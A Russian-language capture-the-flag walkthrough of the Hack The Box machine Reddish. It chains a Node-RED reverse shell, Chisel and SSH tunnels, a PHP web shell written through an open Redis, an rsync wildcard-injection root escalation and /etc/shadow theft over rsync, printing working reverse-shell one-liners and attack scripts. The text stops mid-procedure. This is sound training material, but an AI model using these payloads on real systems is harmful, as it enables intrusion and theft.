HTB{ Reddish }
Что делать в случае, когда тебе нужно захватить контроль над хостом, который находится в другой подсети? Верно — много запутанных туннелей! На примере виртуалки Reddish с Hack The Box мы встретимся со средой визуального программирования Node-RED, где в прямом смысле «построим» реверс-шелл, проэксплуатируем слабую конфигурацию СУБД Redis, воспользуемся инструментом зеркалирования файлов rsync для доступа к чужой файловой системе, а также создадим целое множество вредоносных задач cron всех сортов и расцветок. И что самое интересное — все управление хостом будет выполняться посредством маршрутизации трафика по докер-контейнерам через несколько TCP-туннелей. Погнали!


- Разведка
- Докер. Контейнер I: “nodered”
- Туннелирование… как много в этом звуке
- Докер. Контейнер II: “www”
- Докер. Контейнер III: “backup”
- Финальный захват хоста Reddish
- Эпилог
Разведка
В этом разделе будет собрана необходима информация для дальнейшего проникновения вглубь системы.
Сканирование портов
Расчехляем Nmap, и в бой! Забегая вперед, сразу скажу, что дефолтные 1000 портов, которые Nmap сканирует в первую очередь, оказались закрыты. Поэтому будем исследовать весь диапазон TCP на высокой скорости.
root@kali:~# nmap -n -Pn --min-rate=5000 -oA nmap/tcp-allports 10.10.10.94 -p-
root@kali:~# cat nmap/tcp-allports.nmap
...
Host is up (0.12s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open vsat-control
...
После полного сканирования, как можно видеть, откликнулся только один неизвестный на первый взгляд 1880-й порт. Попробуем вытащить из него больше информации.
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/tcp-port1880 10.10.10.94 -p1880
root@kali:~# cat nmap/tcp-port1880.nmap
...
PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
...
Сканер говорит, что на этом порту развернут Express — фреймворк веб-приложений Node.js. Когда видишь приставку «веб» — верно, в первую очередь открываем браузер…
Веб — порт 1880
Все, что нам было суждено узнать после перехода на страницу http://10.10.10.94:1880/ — лишь немногословное сообщение об ошибке.

На этом этапе есть два пути разобраться, что за приложение висит на этом порту:
- Сохранить значок веб-сайта к себе на машину (обычно они живут по адресу
/favicon.ico) и попытаться найти, на что он похож, с помощью Reverse Image Search. - Спросить у поисковика, с чем чаще всего бывает ассоциирован порт
1880.
Второй вариант более «казуальный», однако не менее эффективный: уже на первой ссылке по такому запросу мне открылась Истина.

Node-RED
Если верить официальному сайту, Node-RED — это такая среда для визуального программирования, где можно конструировать взаимосвязи между разными сущностями (от локальных железок до API онлайн-сервисов). Чаще всего, как я понял, о Node-RED говорят в контексте управления умным домом в частности и девайсами IoT в целом.
Окей, софт мы идентифицировали, но ошибка доступа к веб-странице от этого никуда не делась.
root@kali:~# curl -i http://10.10.10.94:1880
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 139
Date: Thu, 30 Jan 2020 21:53:05 GMT
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>
Первое, что приходит в голову — запустить брутер директорий. Но прежде, чем это сделать, попробуем поменять метод запроса с GET на POST.
root@kali:~# curl -i -X POST http://10.10.10.94:1880
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 86
ETag: W/"56-dJUoKg9C3oMp/xaXSpD6C8hvObg"
Date: Thu, 30 Jan 2020 22:04:20 GMT
Connection: keep-alive
{"id":"a237ac201a5e6c6aa198d974da3705b8","ip":"::ffff:10.10.14.19","path":"/red/{id}"}
Ну вот и обошлось безо всяких там брутеров. Видим, что при обращении к корню веб-сайта через POST сервер отвечает примером того, как должно выглядеть тело запроса. В принципе, до этого можно дойти логически: тонны примеров именно POST-запросов можно видеть в документации к API Node-RED.
Итак, при переходе по http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/ мы видим следующую картину.

Давай разбираться, что здесь можно наворотить.
Node-RED Flow
Первая ассоциация, которая приходит на ум при виде рабочей области Node-RED — «песочница». Без лишних доказательств я понял, что эта штука способна на многое, однако мне нужно всего ничего: способ получить шелл на сервере.

Пролистав вниз панель «строительных блоков» (или «узлов», как называет их Node-RED) слева, я увидел вкладку Advanced, где спряталась столь дорогая сердцу любого хакера функция exec.
Spice must FLOW
В философии Node-RED каждая комбинация, которую ты соберешь в рабочей области, называется «флоу» (или «поток»). Потоки можно строить, выполнять, импортировать и экспортировать в JSON. При нажатии на кнопку Deploy сервером (как ни странно) деплоятся все потоки со всех вкладок рабочей области.
simple-shell
Попробуем что-нибудь построить, тогда все станет более очевидно. Первым потоком, который я задеплоил, стал тривиальный шелл.

Будем обращаться к тому, что изображено на картинке, по цветам блоков:
- Серый (слева): получение данных на вход. Сервер выполняет обратное подключение к моему IP и привязывает мой ввод с клавиатуры к оранжевому блоку exec.
- Оранжевый: функция выполнения команд на сервере. Результат работы данного блока поступает на вход второму серому блоку. Обрати внимание: у оранжевого блока есть три выходных «клеммы». Они соответствуют
stdout,stderrи коду возврата (который я не стал использовать). - Серый (справа): отправка выходных данных. Если открыть расширенные настройки блока (двойным кликом), можно задать особенности его поведения. Я выбрал Reply to TCP, чтобы Node-RED отправлял мне ответы в этом же подключении.
О двух серых блоках можно думать, как о сетевых пайпах, по которым идет INPUT и OUTPUT блока exec. Я оставлю экспортированный поток в JSON у себя на GitHub, чтобы не засорять тело статьи.
Далее поднимем локального слушателя на Kali и устроим деплой!

Как можно видеть — обыкновенный non-PTY шелл.
beautiful-shell
Конечно, мне было интересно поиграть в такой песочнице, поэтому я собрал еще несколько конструкций.

Это более аккуратный шелл с возможностью отправки запроса на подключения «с кнопки» (синий) без необходимости редеплоить весь проект, логированием (зеленый) происходящего в веб-интерфейс (см. рисунок ниже) и форматированием вывода команд под свой шаблон (желтый).


Исходник в JSON-ке здесь.
file-upload
Раз такое дело, почему бы не соорудить флоу для заливки файлов на сервер.

Здесь все совсем просто: по нажатию на кнопку Connect сервер подключается к порту 8889 моей машины (где уже поднят листенер с нужным файлом) и сохраняет полученную информацию у себя в скрытый файл /tmp/.file (JSON).
Испытаем этот поток в деле: я запускаю nc на Kali с указанием передать скрипт для проведения локальной разведки на Linux lse.sh (который я начал использовать вместо привычного LinEnum.sh), дожидаюсь окончания загрузки и проверяю контрольные суммы обоих копий.
На Kali:
root@kali:~# nc -lvnp 8889 < lse.sh
...
root@kali:~# md5sum lse.sh
7d3a4fe5c7f91692885bbeb631f57c70 lse.sh

На Node-RED:
root@nodered:/tmp# md5sum .file
7d3a4fe5c7f91692885bbeb631f57c70 .file
Загрузка файлов из командной строки
Откровенно говоря, такой подход к трансферу файлов избыточен, ведь всю процедуру можно провести, не отходя от терминала.
root@kali:~# nc -w3 -lvnp 8889 < lse.sh
root@nodered:~# bash -c 'cat < /dev/tcp/10.10.14.19/8889 > /tmp/.file'
reverse-shell
Я не был доволен тем шеллом, который был построен из абстракций Node-RED (некорректно читались некоторые символы, и вообще вся эта конструкция выглядела очень ненадежно), поэтому я получил полноценный Reverse Shell.

Сперва я сделал это, как показано выше — путем открытия еще одного порта в новой вкладки терминала и вызовом реверс-шелла на Bash по TCP. Однако позже я решил упростить себе жизнь на случай, если придется перезапускать сессию, и собрал такой флоу в Node-RED (JSON).

Обрати внимание, что я завернул пейлоад для реверс-шелла в дополнительную оболочку Bash bash -c '<PAYLOAD>'. Это сделано для того, чтобы команда была выполнена именно итерпретатором Bash, так как дефолтный шелл на этом хосте — dash.
node-red> ls -la /bin/sh
lrwxrwxrwx 1 root root 4 Nov 8 2014 /bin/sh -> dash
Теперь я могу написать простой Bash-скрипт, чтобы триггерить callback в один клик из командной строки.
#!/usr/bin/env bash
(sleep 0.5; curl -s -X POST http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/inject/7635e880.e6be48 >/dev/null &)
rlwrap nc -lvnp 8888
Адрес URL, который я передаю curl — тот адрес, где расположился объект Inject данного потока (то есть кнопка Go! на рисунке выше). Также я использую rlwrap, чтобы не сойти с ума от невозможности использовать стрелки влево-вправо для перемещения по вводимой строке и вверх-вниз для перемещения по истории команд.
У нас есть шелл, поэтому пора разобраться, куда мы попали.
Докер. Контейнер I: “nodered”
Уже с первых секунд пребывания на сервере становится очевидно, что мы внутри докера, так как наш шелл вернулся от имени суперпользователя root.
Это же предположение подтверждает скрипт lse.sh, заброшенный на машину в прошлом параграфе.

Ну а если ты и ему не веришь, можно убедиться в этом лично: в корне файловой системы (далее «ФС») существует директория .dockerenv.
root@nodered:/node-red# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 May 4 2018 /.dockerenv
Если ты оказался в докере, первым делом рекомендуется проверить сетевое окружение на случай, если это не единичный контейнер в цепочке. В текущей системе отсутствует ifconfig, поэтому информацию о сетевых интерфейсах будем смотреть с помощью ip addr.

Как видно, этот докер может общаться с двумя подсетями: 172.18.0.0/16 и 172.19.0.0/16. В первой подсети контейнер (будем называть его nodered) имеет IP-адрес 172.18.0.2, а во второй — 172.19.0.4. Посмотрим, с какими еще хостами взаимодействовал nodered.

Кэш ARP указывает на то, что nodered знает как минимум еще два хоста: 172.19.0.2 и 172.19.0.3 (хосты .1 не беру во внимание, так как, скорее всего, это шлюзы по умолчанию к хостовой ОС).
Проведем сканирование с целью обнаружения хостов.
Host Discovery
«Пробить» сетевое окружение можно разными способами.
Ping Sweep
Первый способ — написать простой скрипт, который позволит «простучать» всех участников сети техникой Ping Sweep. Идея проста: отправим по одному ICMP-запросу на каждый хост уровня L2 сети 172.18.0.0 (или просто 172.18.0.0/24) и посмотрим на код возврата. Если успех — выводим сообщение на экран, иначе — ничего не делаем.
#!/usr/bin/env bash
IP="$1"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done
Всего может быть 254 хоста (256 минус адрес_сети минус адрес_широковещателя) в сканируемом участке сети. Чтобы выполнить эту проверку за 1 секунду, а не за 254, будем запускать каждый ping в своем шелл-процессе. Это не затратно, так как они будут быстро умирать, и я получу практически мгновенный результат.
root@nodered:~# IP="172.18.0"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done
ON: 172.18.0.1 <-- Шлюз по умолчанию для nodered (хост)
ON: 172.18.0.2 <-- Докер-контейнер nodered
При сканировании этой подсетки получили только гейтвей и свой же контейнер. Неинтересно, пробуем 172.19.0.0/24.
root@nodered:~# IP="172.19.0"; for i in $(seq 1 254); do (ping -c1 $IP.$i >/dev/null && echo "ON: $IP.$i" &); done
ON: 172.19.0.1 <-- Шлюз по умолчанию для nodered (хост)
ON: 172.19.0.2 <-- ???
ON: 172.19.0.3 <-- ???
ON: 172.19.0.4 <-- Докер-контейнер nodered
Есть два незвестных хоста, которые мы вскоре отправимся изучать, но прежде еще один способ проведения Host Discovery.
Статический Nmap
Забросим на nodered копию статически скомпилированного Nmap вместе с файлом /etc/services со своей Kali (он содержит ассоциативный маппинг имя_службы <--> номер_порта, необходимый для работы сканера) и запустим обнаружение хостов.
root@nodered:/tmp# ./nmap -n -sn 172.18.0.0/24 2>/dev/null | grep -e 'scan report' -e 'scanned in'
Nmap scan report for 172.18.0.1
Nmap scan report for 172.18.0.2
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.01 seconds
Nmap нашел два хоста в подсети 172.18.0.0/24.
root@nodered:/tmp# ./nmap -n -sn 172.19.0.0/24 2>/dev/null | grep -e 'scan report' -e 'scanned in'
Nmap scan report for 172.19.0.1
Nmap scan report for 172.19.0.2
Nmap scan report for 172.19.0.3
Nmap scan report for 172.19.0.4
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.02 seconds
И четыре хоста в подсети 172.19.0.0/24. Все в точности, как и при ручном Ping Sweep.
Сканирование неизвестных хостов
Для того, чтобы выяснить, какие порты открыты на двух неизвестных хостах, можно снова написать такой однострочник на Bash.
#!/usr/bin/env bash
IP="$1"; for port in $(seq 1 65535); do (echo '.' >/dev/tcp/$IP/$port && echo "OPEN: $port" &) 2>/dev/null; done
Работать он будет примерно так же, как и ping-sweep.sh, только вместо команды ping здесь отправляется тестовый символ прямиком на сканируемый порт. Только вот зачем так извращаться, когда у нас уже есть Nmap?
root@nodered:/tmp# ./nmap -n -Pn -sT --min-rate=5000 172.19.0.2 -p-
...
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
...
Host is up (0.00017s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
6379/tcp open unknown
...
root@nodered:/tmp# ./nmap -n -Pn -sT --min-rate=5000 172.19.0.3 -p-
...
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
...
Host is up (0.00013s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
...
Обнаружили два открытых порта — по одному на каждый неизвестный хост. Сперва подумаем, как можно добраться до веба на 80-м, а потом перейдем к порту 6379.
Туннелирование… как много в этом звуке
Чтобы добраться до удаленного 80-го порта, придется строить туннель от своей машины до хоста 172.19.0.3. Сделать это можно по истине неисчисляемым количеством способов, например:
- Использовать функционал Metasploit проброса маршрутов через meterpreter-сессию.
- Иниицировать соединение Reverse SSH, где в качестве сервера будет выступать машина атакующего, а в качестве клиента — контейнер
nodered. - Задействовать сторонние приложение, предназначенные непосредственно для настройки туннелей между узлами.
Еще, наверное, можно было бы воспользоваться песочницей Node-RED и попытаться придумать такой флоу, который бы осуществлял маршрутизацию трафика от атакующего до неизвестных хостов, но… Хотел бы я посмотреть на смельчака, который этим займется.
Первый пункт с Metasploit мы рассматривали в предыдущей статье, поэтому повторяться не будем. Второй пункт был также рассмотрен, но речь там шла про тачки на Windows, а у нас же Линуксы… Посему план такой: сперва я быстро покажу способ реверсивного соединения с помощью SSH, а дальше перейдем к специальному софту для туннелирования.
Reverse SSH (пример)
Для создания обратного SSH-туннеля нужен переносной клиент, который можно было бы разместить на nodered. Именно таким клиентом является dropbear от австралийского разработчика Мэта Джонсона.
Скачаем исходные коды клиента с домашней страницы его создателя и скомпилируем его статически у себя на машине.
root@kali:~# wget https://matt.ucc.asn.au/dropbear/dropbear-2019.78.tar.bz2
root@kali:~# tar xjvf dropbear-2019.78.tar.bz2 && cd dropbear-2019.78
root@kali:~/dropbear-2019.78# ./configure --enable-static && make PROGRAMS='dbclient dropbearkey'
root@kali:~/dropbear-2019.78# du -h dbclient
1.4M dbclient
Размер полученного бинарника — 1.4 Мб. Можно уменьшить его почти в три раза двумя простыми командами.
root@kali:~/dropbear-2019.78# make strip
root@kali:~/dropbear-2019.78# upx dbclient
root@kali:~/dropbear-2019.78# du -h dbclient
520K dbclient
Сперва я срезал всю отладочную информацию с помощью Makefile, а затем сжал бинарь упаковщиком исполняемых файлов UPX.
Теперь сгенерируем пару «открытый/закрытый ключ» с помощью dropbearkey и дропнем клиент и закрытый ключ на nodered.
root@kali:~/dropbear-2019.78# ./dropbearkey -t ecdsa -s 521 -f .secret
Generating 521 bit ecdsa key, this may take a while...
Public key portion is:
ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAA2TCQk3VTYCX/hZjMmXT0/A27f5EOKQY4FbXcYeNWXIPLFQOOLnQFWbAjBa9qOUdmwOipVvDwXnvt6hEmwitflvQEIw9wHQ4spUAqs/0CR6AoiTT3w7v6CAX/uq0u2oS7gWf9SPy/Npz8Ond6XJKh+d0QPXz0uQrq0wyprCYo+g/OiEA== root@kali
Fingerprint: sha1!! ef:6a:e8:e0:f8:49:f3:cb:67:34:5d:0b:f5:cd:c0:e5:8e:49:28:41

Все, SSH-клиент вместе с 521-битный приватным ключом (на эллиптике) улетели в контейнер. Теперь создадим фиктивного пользователя с шеллом /bin/false, чтобы не подставлять свою машину в случае, если кто-то наткнется на закрытый ключ.
root@kali:~# useradd -m snovvcrash
root@kali:~# vi /etc/passwd
... Меняем шелл юзера snovvcrash на "/bin/false" ...
root@kali:~# mkdir /home/snovvcrash/.ssh
root@kali:~# vi /home/snovvcrash/.ssh/authorized_keys
... Копируем открытый ключ ...
Все готово, можно пробрасывать туннель.
root@nodered:/tmp# ./dbclient -f -N -R 8890:172.19.0.3:80 -i .secret -y snovvcrash@10.10.14.19
-
-f— свернуть клиент в бэкграунд после аутентификации на сервере; -
-N— не выполнять команды на сервере и не запрашивать шелл; -
-R 8890:172.19.0.3:80— слушатьlocalhost:8890на Kali и перенаправлять все, что туда попадет, на172.19.0.3:80; -
-i .secret— аутентификация по приватному ключу.secret; -
-y— автоматически добавлять хост с отпечатком его открытого ключа в список доверенных.
На Kali можно проверить успешность создания туннеля с помощью каноничного netstat или его новомодной альтернативы ss.
root@kali:~# netstat -alnp | grep LIST | grep 8890
tcp 0 0 127.0.0.1:8890 0.0.0.0:* LISTEN 236550/sshd: snovvc
tcp6 0 0 ::1:8890 :::* LISTEN 236550/sshd: snovvc
root@kali:~# ss | grep 1880
tcp ESTAB 0 0 10.10.14.19:43590 10.10.10.94:1880
После всего этого можно открыть браузер и на localhost:8890 окажется тот самый эндпоинт, маршрут к которому мы прокладывали.

It works! Видеть такие надписи мне однозначно нравится.
Как я и говорил, это всего лишь пример, потому что дальше мы будем пользоваться клиент-сервером Chisel для продвижения по виртуалке Reddish.
Chisel
Быстрые TCP-туннели от Chisel. Транспортировка по HTTP. Безопасность по SSH.
Мы новый мир построим
Ладно, возможно, разработчик описывает свой софт чуть менее пафосно, но у меня в голове это прозвучало именно так.
А если серьезно, то Chisel — это связка «клиент + сервер» в одном приложении, написанном на Go, которое позволяет прокладывать защищенные туннели в обход ограничений файрвола. В нашем случае мы будем использовать Chisel, чтобы настроить реверс-коннект с контейнера rednode до Kali. По большому счету, функционал этого инструмента очень схож с принципами организации туннелирования посредством SSH, даже синтаксис команд похож.
Чтобы не запутаться в хитросплетениях соединений, я буду вести сетевую «карту местности». Пока у нас есть информация только о nodered и www.

Сетевая карта. Часть 1: Начальные сведения
Загрузим и соберем Chisel на Kali.
root@kali:~# git clone http://github.com/jpillora/chisel && cd chisel
root@kali:~/chisel# go build
root@kali:~/chisel# du -h chisel
12M chisel
Объем 12 Мб — это немало в условии транспортировки исполняемого файла на машину-жертву, поэтому можно так же сжать бинарник, как мы делали это с dropbear: с помощью флагов линковщика -ldflags уберем отладочную информацию, а затем упакуем файл в UPX.
root@kali:~/chisel# go build -ldflags='-s -w'
root@kali:~/chisel# upx chisel
root@kali:~/chisel# du -h chisel
3.2M chisel
Класс, теперь перенесем chisel в контейнер и создадим туннель.
root@kali:~/chisel# ./chisel server -v -reverse -p 8000
Первым действием поднимаем сервер на Kali, который слушает активность на 8000-м порту (-p 8000) и разрешает создание обратных подключений (-reverse).
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:8890:172.19.0.3:80 &
После чего подключаемся к этому серверу с помощью клиента на nodered. Команда выше откроет 8890-й порт на Kali (флаг R), через который трафик будет попадать в 80-й порт хоста 172.19.0.3. Если не указать сетевой интерфейс на обратном соединении явно (в данном случае это 127.0.0.1), то будет использован 0.0.0.0, что означает, что любой участник сети сможет юзать нашу машину в качестве футхолда для общения с 172.19.0.3:80. Так как это нас не устраивает, то приходится вручную прописывать 127.0.0.1. В этом отличие от дефолтного SSH-клиента: там по умолчанию всегда будет использован 127.0.0.1.

Сетевая карта. Часть 2: Туннель до веба через nodered
Исследование веб-сайта
Если открыть localhost:8890 в браузере, нас снова встретит радостная новость о том, что «It works!». Это мы уже видели, поэтому откроем сорцы веб-странички в поисках интересного кода.
Целиком исходник вставлять не буду, только скриншот с интересными моментами.

Комментарий (синим) гласит о том, что где-то существует контейнер с базой данных, у которой есть доступ к сетевой папке этого сервера. Аргументы функции test (красным) в совокупность с упоминанием некой базы данных напоминают команды GET и INCR в NoSQL-СУБД Redis. С примерами тестовых запросов через ajax можно поиграть в браузере и убедиться, что они и правда работают в отличии от еще нереализованной функции backup.
Пока все сходится, и, сдается мне, я знаю, где искать Redis: как ты помнишь, у нас оставался еще один неопознанный хост с открытым 6379-м портом… Как раз самым что ни на есть дефолтным портом для Redis.
Redis
Пробросим еще один обратный туннель на Kali, который будет идти к порту 6379.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 R:127.0.0.1:6379:172.19.0.2:6379 &

Сетевая карта. Часть 3: Туннель до Redis через nodered
И теперь можно стучаться в гости к Redis со своей машины. К примеру, просканируем 6379-й порт с помощью Nmap — благо теперь у нас есть весь арсенал NSE для идентификации сервисов. Не забываем о флаге -sT, так как сырые пакеты не умеют ходить через туннели.
root@kali:~# nmap -n -Pn -sT -sV -sC localhost -p6379
...
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
...
Как предлагают в этом посте, проверим, нужна ли авторизация для взаимодействия с БД.

Похоже, что нет, а это значит, что можно дальше раскручивать этот вектор. Я не буду инжектить свой открытый ключ в контейнер для подключения по SSH, как советуют на Packet Storm (потому что нет самого SSH), но зато никто не запрещает залить веб-шелл в расшаренную папку веб-севера.
Общаться с СУБД можно в простом подключении netcat/telnet, однако круче скачать и собрать нативный CLI-клиент из исходников самой базы данных.
root@kali:~# git clone https://github.com/antirez/redis && cd redis
root@kali:~/redis# make redis-cli
root@kali:~/redis# cd src/
root@kali:~/redis/src# file redis-cli
redis-cli: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6e92b4603099564577d4027ba5fd7f20da68230, for GNU/Linux 3.2.0, with debug_info, not stripped
Чтобы удостовериться, что все работает, попробуем те команды, которые мы видели в сорцах веб-страницы.

Отлично, теперь можно сделать нечто более зловредное, а именно — записать веб-шелл в /var/www/html/. Для этого нужно:
- Очистить ключи для всех БД.
-
Создать в новой БД новую пару
<ключ>, <значение>с веб-шеллом в качестве значения. - Задать имя новой БД.
- Задать путь для сохранения новой БД.
- Сохранить файл новой БД.
Интересный момент: Redis оптимизирует хранение значений, если в них присутствуют повторяющиеся паттерны, поэтому не всякий пейлоад, записанный в БД, отработает корректно.
Напишем скрипт на Bash, который будет «проигрывать» эти пять шагов выше. Автоматизация нужна, так как вскоре выяснится, что веб-директория очищается каждые три минуты.
#!/usr/bin/env bash
~/redis/src/redis-cli -h localhost flushall
~/redis/src/redis-cli -h localhost set pwn '<?php system($_REQUEST['cmd']); ?>'
~/redis/src/redis-cli -h localhost config set dbfilename shell.php
~/redis/src/redis-cli -h localhost config set dir /var/www/html/
~/redis/src/redis-cli -h localhost save

Скрипт отработал успешно, поэтому можно открыть браузер и после перехода по адресу http://localhost:8890/shell.php?cmd=whoami тебя будет ждать такой ответ.

Таким образом, у нас есть RCE в контейнере 172.19.0.3 (будем называть его www, так как он сам так представился).

Раз есть RCE, неплохо было бы получить шелл.
Докер. Контейнер II: “www”
Неплохо бы, да вот есть одно «но»: хост www умеет общаться только с nodered, а напрямую связаться с Kali он не может. В таком случае будем создавать очередной туннель (третий по счету) поверх существующего обратного, чтобы через него поймать callback от www на Kali. Новый туннель будет прямым (или «локальным»).
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 7001:127.0.0.1:9001 &
Что здесь произошло: мы подключились к серверу 10.10.14.19:8000 и вместе с этим проложили туннель, который берет начало в 7001-м порту контейнера nodered, а заканчивается в 9001-м порту ВМ Kali. Теперь все, что попадет в интерфейс 172.19.0.4:7001 будет автоматически перенаправлено на машину атакующего по адресу 10.10.14.19:9001. То есть мы сможем собрать реверс-шелл и в качестве цели (RHOST:RPORT) указать контейнер 172.19.0.4:7001, а отклик придет уже на локальную (LHOST:LPORT) тачку 10.10.14.19:9001. Просто как день!

Сетевая карта. Часть 4: Первый туннель до Kali с nodered
Я добавил две дополнительные строки в скрипт pwn-redis.sh: «отправить шелл» и «запустить слушателя на порт 9001».
...
(sleep 0.1; curl -s -X POST -d 'cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.4%2F7001%200%3E%261%27' localhost:8890/shell.php >/dev/null &)
rlwrap nc -lvnp 9001
Пейлоад для curl закодирован в Percent-encoding, чтобы не мучаться с «плохими» символами. Вот так он выглядит в «человеческом» виде.
bash -c 'bash -i >& /dev/tcp/172.19.0.4/7001 0>&1'
Теперь в одно действие получаем сессию на www.

Предлагаю осмотреться.

Во-первых, этот контейнер также имеет доступ в две подсети: 172.19.0.0/16 и 172.20.0.0/16.

В корне файловой системы — интересная директория /backup, которая встречается довольно часто на виртуалках Hack The Box (да и в реальной жизни тоже). Внтури — скрипт backup.sh со следующим содержимым.
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
Здесь мы видим:
- обращение к пока неизвестному нам хосту
backup; - использование rsync для бэкапа всех файлов с расширением
.rdb(файлы БД Redis) на удаленный серверbackup; - использование rsync для восстановления резервной копии (которая также находится где-то на сервере
backup) содержимого/var/www/html/.
Думаю, уязвимость видна невооруженным взглядом (мы уже делали что-то подобное с 7z): админ юзает * (2-я строка) для обращения ко всем rdb-файлам. А в связки с тем, что в арсенале rsync есть флаг для выполнения команд, это позволяет хакеру создать скрипт с особым именем, идентичным синтаксису для триггера команд, и выполнить какие угодно действия от имени того, кто запускает backup.sh.

Могу поспорить, что скрипт выполняется по планировщику cron.

Класс, значит, он будет выполнен от имени root! Приступим к эксплуатации.
Эскалация до root
Сперва в директории /var/www/html/f187a0ec71ce99642e4f0afbd441a68b создадим файл pwn-rsync.rdb, содержащий обычный реверс-шелл, которые мы сегодня видели уже сотню раз.
bash -c 'bash -i >& /dev/tcp/172.19.0.4/1337 0>&1'
После этого создадим еще один файл там же с оригинальным именем -e bash pwn-rsync.rdb. Листинг директории сетевой шары будет выглядеть таким образом в момент перед получением шелла.
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls
-e bash pwn-rsync.rdb
pwn-rsync.rdb
Теперь осталось открыть новую вкладку терминала и дождаться запуска задания cron.

И вот, у нас есть root-шелл!
Больше туннелей!
Как ты понимаешь, отклик реверс-шелла я отправил в контейнер nodered, а ловил его на Kali, поэтому прежде всего этого действа, я пробросил еще один локальный туннель на 1337-м порту с nodered на свою машину.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1337:127.0.0.1:1337 &

Сетевая карта. Часть 5: Второй туннель до Kali с nodered
Теперь можно честно забрать хеш юзера.

Но это всего лишь пользовательский флаг, а мы по-прежнему находимся внутри docker. Что же теперь?
Докер. Контейнер III: “backup”
Устройство скрипта для создания резервных копий должно навести тебя на такую мысль: каким образом проходит аутентификация на сервере backup? И ответ такой: да, в общем-то, никаким. Доступ к файловой системе этого контейнера может получить кто-угодно, кто сможет дотянуться по сети до www.
Мы уже видели вывод ip addr для www и поняли, что у этого контейнера есть доступ в подсеть 17.20.0.0/24, однако конкретный адрес сервера backup нам все еще неизвестен. Можно сделать предположение о том, что его IP-шник 17.20.0.2 по аналогии с раскладом остальных узлов сети.
Чтобы удостовериться в этом, найдем подтвержение нашему предположению. В файл /etc/hosts отсутсвует информация о принадлежности сервера backup, однако узнать его адрес можно еще одним способом: отправим всего один ICMP-запрос с www до backup.
www-data@www:/$ ping -c1 backup
ping: icmp open socket: Operation not permitted
Делать это нужно из привилигированного шелла, потому что у юзера www-data не хватает прав для открытия нужного сокета.
root@www:~# ping -c1 backup
PING backup (172.20.0.2) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.051 ms
--- backup ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 ms
Таким нехитрым способом мы убедились, что адрес backup — 172.20.0.2. Дополним карту сетевых взаимодействий.

Сетевая карта. Часть 6: Локализация контейнера backup
Теперь вернемся к рассуждению выше: у нас есть доступ к www и есть rsync без аутентификации (на 873-м порту), следовательно, у нас есть права на чтение/запись в файловую систему backup.
Например, я могу просмотреть корень ФС backup.
www-data@www:/tmp$ rsync rsync://backup:873/src/
...

Или прочитать файл shadow.
www-data@www:/tmp$ rsync -a rsync://backup:873/etc/shadow .
www-data@www:/tmp$ cat shadow
...

А также записать любой файл в любую директорию на backup.
www-data@www:/tmp$ echo 'HELLO THERE' > .test
www-data@www:/tmp$ rsync -a .test rsync://backup:873/etc/
-rw-r--r-- 12 2020/02/02 16:25:49 .test

Попробуем таким образом получить шелл: я создам вредоносную задачу cron с реверс-шеллом, запишу ее в /etc/cron.d/ на сервере backup и поймаю отклик на Kali. Но у нас очередная проблема сетевой доступности: backup умеет говорить только с www, а www только с nodered… Да, ты правильно понимаешь, придется строить цепочку туннелей: от backup до www, от www до nodered и от nodered до Kali.
Получение root-шелла
Следуя принципам динамического программирования, декомпозируем сложную задачу построения такого многосоставного туннеля на две простые подзадачи, а в конце объединим результаты:
1. Пробрасываем локальный порт 1111 из контейнера nodered до порта 8000 на Kali, на котором работает сервер Chisel. Это позволит нам обращаться к 172.19.0.4:1111 как к серверу Chisel на Kali.
root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1111:127.0.0.1:8000 &
2. Вторым шагом настроим переадресацию с www на Kali. Для этого подключимся к 172.19.0.4:1111 (то же самое, как если бы мы могли подключиться к Kali напрямую) и пробросим локальный порт 2222 до порта 3333 на Kali.
www-data@www:/tmp$ ./chisel client 172.19.0.4:1111 2222:127.0.0.1:3333 &
Теперь все, что попадет в порт 2222 на www, будет перенаправлено по цепочке туннелей через контейнер nodered в порт 3333 на машину атакующего.

